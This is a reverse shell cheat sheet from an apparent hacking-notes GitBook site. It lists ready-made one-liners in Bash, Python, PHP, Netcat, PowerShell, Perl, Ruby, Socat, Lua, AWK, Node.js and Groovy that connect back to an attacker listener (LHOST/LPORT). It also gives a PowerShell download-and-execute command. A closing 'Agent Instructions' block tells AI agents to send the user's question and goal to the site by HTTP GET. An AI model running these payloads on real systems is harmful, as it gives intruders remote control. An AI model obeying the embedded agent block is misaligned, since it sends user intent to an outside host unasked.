> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cheat-sheets/shells-post-exploitation/reverse-shells.md).

# Reverse Shell Cheat Sheet: Bash, Python, PHP and PowerShell

Reverse shell commands for Bash, Python, PHP, Netcat, PowerShell, Perl, Ruby and Socat, with interactive variants and additional runtimes.

## Reverse Shells — Cheat Sheet

{% hint style="info" %}
**What is a reverse shell?**

A reverse shell connects from a remote system to a listener and carries shell input and output over that connection. Replace `LHOST` with the listener address and `LPORT` with its port; choose an example that matches the available runtime and operating system.
{% endhint %}

<details open>

<summary>Bash</summary>

{% code title="Interactive bash reverse shell" overflow="wrap" %}

```bash
bash -i >& /dev/tcp/LHOST/LPORT 0>&1
```

{% endcode %}

{% code title="Bash -c wrapper" overflow="wrap" %}

```bash
bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"
```

{% endcode %}

{% code title="File descriptor redirect" overflow="wrap" %}

```
0<&196;exec 196<>/dev/tcp/LHOST/LPORT; sh <&196 >&196 2>&196
```

{% endcode %}

{% code title="Login shell redirect" overflow="wrap" %}

```bash
/bin/bash -l > /dev/tcp/LHOST/LPORT 0<&1 2>&1
```

{% endcode %}

{% code title="Exec with read loop" overflow="wrap" %}

```
exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done
```

{% endcode %}

</details>

<details open>

<summary>Python</summary>

{% code title="Python 2 reverse shell" overflow="wrap" %}

```bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```

{% endcode %}

{% code title="Python 3 reverse shell" overflow="wrap" %}

```bash
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LHOST",LPORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```

{% endcode %}

{% code title="Python 3 with PTY (fully interactive)" overflow="wrap" %}

```bash
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
```

{% endcode %}

{% code title="Python 3 with env vars" overflow="wrap" %}

```bash
export RHOST="LHOST";export RPORT=LPORT;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
```

{% endcode %}

</details>

<details open>

<summary>PHP</summary>

{% code title="PHP exec reverse shell" overflow="wrap" %}

```bash
php -r '$sock=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'
```

{% endcode %}

{% code title="PHP proc\_open reverse shell" overflow="wrap" %}

```bash
php -r '$sock=fsockopen("LHOST",LPORT);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'
```

{% endcode %}

{% code title="PHP shell\_exec reverse shell" overflow="wrap" %}

```bash
php -r '$sock=fsockopen("LHOST",LPORT);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
```

{% endcode %}

{% code title="PHP passthru reverse shell" overflow="wrap" %}

```bash
php -r '$sock=fsockopen("LHOST",LPORT);passthru("/bin/sh -i <&3 >&3 2>&3");'
```

{% endcode %}

{% code title="PHP system reverse shell" overflow="wrap" %}

```bash
php -r '$sock=fsockopen("LHOST",LPORT);system("/bin/sh -i <&3 >&3 2>&3");'
```

{% endcode %}

</details>

<details open>

<summary>Netcat</summary>

{% code title="Netcat with -e flag" overflow="wrap" %}

```bash
nc -e /bin/sh LHOST LPORT
```

{% endcode %}

{% code title="Netcat with bash" overflow="wrap" %}

```bash
nc -e /bin/bash LHOST LPORT
```

{% endcode %}

{% code title="Netcat with -c flag" overflow="wrap" %}

```bash
nc -c bash LHOST LPORT
```

{% endcode %}

{% code title="Netcat without -e (mkfifo)" overflow="wrap" %}

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f
```

{% endcode %}

{% code title="Netcat mkfifo with bash" overflow="wrap" %}

```bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc LHOST LPORT >/tmp/f
```

{% endcode %}

{% code title="Ncat (nmap) reverse shell" overflow="wrap" %}

```bash
ncat LHOST LPORT -e /bin/bash
```

{% endcode %}

{% code title="Ncat SSL encrypted reverse shell" overflow="wrap" %}

```bash
ncat --ssl LHOST LPORT -e /bin/bash
```

{% endcode %}

</details>

<details open>

<summary>PowerShell</summary>

{% code title="Full PowerShell reverse shell" overflow="wrap" %}

```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

{% endcode %}

{% code title="Download and execute PowerShell script" overflow="wrap" %}

```powershell
powershell IEX(New-Object Net.WebClient).DownloadString('http://LHOST/shell.ps1')
```

{% endcode %}

{% code title="Base64 encoded command (use encoding pipeline)" overflow="wrap" %}

```powershell
powershell -enc <Base64EncodedCommand>
```

{% endcode %}

</details>

<details open>

<summary>Perl</summary>

{% code title="Perl socket reverse shell" overflow="wrap" %}

```bash
perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

{% endcode %}

{% code title="Perl IO module reverse shell" overflow="wrap" %}

```bash
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"LHOST:LPORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```

{% endcode %}

</details>

<details open>

<summary>Ruby</summary>

{% code title="Ruby socket reverse shell" overflow="wrap" %}

```bash
ruby -rsocket -e'f=TCPSocket.open("LHOST",LPORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

{% endcode %}

{% code title="Ruby fork reverse shell" overflow="wrap" %}

```bash
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("LHOST",LPORT);loop{c.gets.chomp!;(exit! if $_=="exit");IO.popen($_,"r"){|io|c.print io.read}}'
```

{% endcode %}

</details>

<details open>

<summary>Socat</summary>

{% code title="Socat fully interactive TTY" overflow="wrap" %}

```bash
socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT
```

{% endcode %}

{% code title="Socat PTY reverse shell" overflow="wrap" %}

```bash
socat tcp-connect:LHOST:LPORT exec:/bin/sh,pty,stderr,setsid,sigint,sane
```

{% endcode %}

{% code title="Socat bash interactive" overflow="wrap" %}

```bash
socat tcp-connect:LHOST:LPORT exec:"bash -li",pty,stderr,setsid,sigint,sane
```

{% endcode %}

</details>

<details open>

<summary>Other Languages</summary>

{% code title="Lua reverse shell" overflow="wrap" %}

```bash
lua -e "require('socket');require('os');t=socket.tcp();t:connect('LHOST','LPORT');os.execute('/bin/sh -i <&3 >&3 2>&3');"
```

{% endcode %}

{% code title="AWK reverse shell" overflow="wrap" %}

```bash
awk 'BEGIN {s = "/inet/tcp/0/LHOST/LPORT"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```

{% endcode %}

{% code title="Node.js exec reverse shell" overflow="wrap" %}

```
require('child_process').exec('nc -e /bin/sh LHOST LPORT')
```

{% endcode %}

{% code title="Node.js full reverse shell" overflow="wrap" %}

```
(function(){var net=require('net'),cp=require('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect(LPORT,'LHOST',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})()
```

{% endcode %}

{% code title="Groovy reverse shell" overflow="wrap" %}

```
groovy -e 'String host="LHOST";int port=LPORT;String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{p.exitValue();break}catch(Exception e){}};p.destroy();s.close();'
```

{% endcode %}

</details>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/cheat-sheets/shells-post-exploitation/reverse-shells.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
